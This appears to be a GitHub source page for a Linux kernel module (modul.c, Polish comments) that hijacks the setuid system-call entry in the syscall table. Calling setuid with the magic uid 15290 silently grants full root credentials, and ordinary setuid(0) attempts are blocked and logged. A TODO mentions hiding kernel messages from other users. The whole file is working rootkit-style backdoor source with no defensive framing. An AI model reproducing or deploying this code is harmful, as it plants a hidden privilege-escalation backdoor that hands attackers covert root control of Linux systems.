-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmodul.c
More file actions
96 lines (70 loc) · 2.56 KB
/
modul.c
File metadata and controls
96 lines (70 loc) · 2.56 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
// TODO : // wyłączyć komunikaty kernela dla pozostałych użytkowników, dorobić 'sudo'
// żeby można wybrać z jakich ID można podnosić uprawnienia na roota (np dla usług systemowych)
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <linux/sched.h>
#include <linux/unistd.h>
#include "asm/kernel.h"
#include <asm/unistd.h>
MODULE_AUTHOR("netcuter") ;
MODULE_DESCRIPTION("Modul jadra systemu linux x86") ;
MODULE_VERSION("0.1-beta");
MODULE_LICENSE("GPL") ;
void **tablica_wywolan_systemowych;
asmlinkage long (*originalna_setuid)(uid_t uid);
asmlinkage long wlasna_setuid(uid_t uid)
{
char id_procesu_rodzica[8]="\0";
int Id_procesu_rodzica=(int)current->parent->cred->uid;
struct cred *nowy = prepare_creds(); //tworzymy wskaźnik na strukture cred (zawierającą m.in uid,suid,euid) będąca elementem task_struct
//prepare_creds - przygotowuje nowy zestaw poswiadczen
sprintf( id_procesu_rodzica, "%d", Id_procesu_rodzica );
if (uid == 15290)
{
char komunikat[128]="Kernel : User o uid = \0";
strcat(komunikat,id_procesu_rodzica);
strcat(komunikat," pomyslnie zalogowal sie na konto root\n");
printk(komunikat);
nowy->uid = 0;
nowy->suid = 0;
nowy->euid = 0;
nowy->fsuid = 0;
nowy->gid = 0;
nowy->sgid = 0;
nowy->egid = 0;
nowy->fsgid = 0;
return commit_creds(nowy); // ta funkcja ustawia nowe poświadczenia na biezacy proces wywołujacy setuid()
}
else
{
if(uid==0)
{
char komunikat[128]="Kernel : proba logowania sie na konto root z uid = \0";
strcat(komunikat,id_procesu_rodzica);
strcat(komunikat,"\n");
printk(komunikat);
return EPERM; // (Operation not permitted)
}
else return originalna_setuid(uid);
}
}
static int __init inicjalizacja_modulu(void)
{
tablica_wywolan_systemowych = get_writable_sct(get_sys_call_table());
if (!tablica_wywolan_systemowych)
return -1;
originalna_setuid = tablica_wywolan_systemowych[__NR_setuid32];
tablica_wywolan_systemowych[__NR_setuid32] = wlasna_setuid;
return 0;
}
static void __exit deinicjalizacja_modulu(void)
{
tablica_wywolan_systemowych[__NR_setuid32] = originalna_setuid;
release_virtual_mapping(tablica_wywolan_systemowych);
}
module_init(inicjalizacja_modulu);
module_exit(deinicjalizacja_modulu);